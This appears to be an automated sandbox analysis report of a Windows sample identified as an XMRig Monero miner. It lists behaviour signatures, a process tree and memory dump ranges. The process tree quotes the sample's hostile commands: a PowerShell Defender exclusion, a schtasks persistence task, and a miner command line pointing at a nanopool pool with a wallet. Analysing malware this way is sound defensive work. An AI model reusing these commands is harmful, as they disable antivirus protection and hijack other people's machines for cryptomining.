Analysis
- max time kernel
107s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
17/01/2023, 19:33
General
- Target file.exe
- Size 1.4MB
- Sample230117-x9hf9sec89
- SHA256 4eae155e065ce265492c2e1f0bf8524d940009deb17ff65b8d9218802ae92578
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TSMSOQO" /tr "C:\ProgramData\datajs\TSMSOQO.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TSMSOQO" /tr "C:\ProgramData\datajs\TSMSOQO.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3016-151-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
memory/3016-136-0x00007FFAAD6D0000-0x00007FFAAD6E2000-memory.dmp
memory/3016-138-0x0000000000B30000-0x0000000000B73000-memory.dmp
memory/3016-137-0x00007FFA95520000-0x00007FFA955DD000-memory.dmp
memory/3016-139-0x00007FFAB1090000-0x00007FFAB1231000-memory.dmp
memory/3016-140-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
memory/3016-141-0x00007FFAB0E20000-0x00007FFAB0E4B000-memory.dmp
memory/3016-142-0x00000000009E0000-0x0000000000B2C000-memory.dmp
memory/3016-143-0x00007FFA953D0000-0x00007FFA9551E000-memory.dmp
memory/3016-144-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
memory/3016-145-0x00007FFAB00B0000-0x00007FFAB00D7000-memory.dmp
memory/3016-135-0x00007FFAB0C00000-0x00007FFAB0C9E000-memory.dmp
memory/3016-158-0x00007FFAAEB80000-0x00007FFAAEBBB000-memory.dmp
memory/3016-157-0x00007FFAB0AC0000-0x00007FFAB0B2B000-memory.dmp
memory/3016-149-0x00000000009E0000-0x0000000000B2C000-memory.dmp
memory/3016-150-0x0000000000B30000-0x0000000000B73000-memory.dmp
memory/3016-156-0x00007FFA8E730000-0x00007FFA8E832000-memory.dmp
memory/3016-132-0x00000000009E0000-0x0000000000B2C000-memory.dmp
memory/3016-155-0x00007FFA8EB20000-0x00007FFA8EB55000-memory.dmp
memory/3016-134-0x00007FFA95670000-0x00007FFA9571A000-memory.dmp
memory/4152-167-0x0000026E27770000-0x0000026E27790000-memory.dmp
memory/4152-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4152-170-0x0000026E27790000-0x0000026E277B0000-memory.dmp
memory/4152-169-0x0000026E27770000-0x0000026E27790000-memory.dmp
memory/4152-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4152-168-0x0000026E27790000-0x0000026E277B0000-memory.dmp
memory/4152-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4152-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4152-163-0x0000026D94F90000-0x0000026D94FB0000-memory.dmp
memory/4152-165-0x0000026D94FD0000-0x0000026D94FF0000-memory.dmp
memory/4152-166-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4896-152-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
memory/4896-147-0x000002C8B7F20000-0x000002C8B7F42000-memory.dmp
memory/4896-148-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp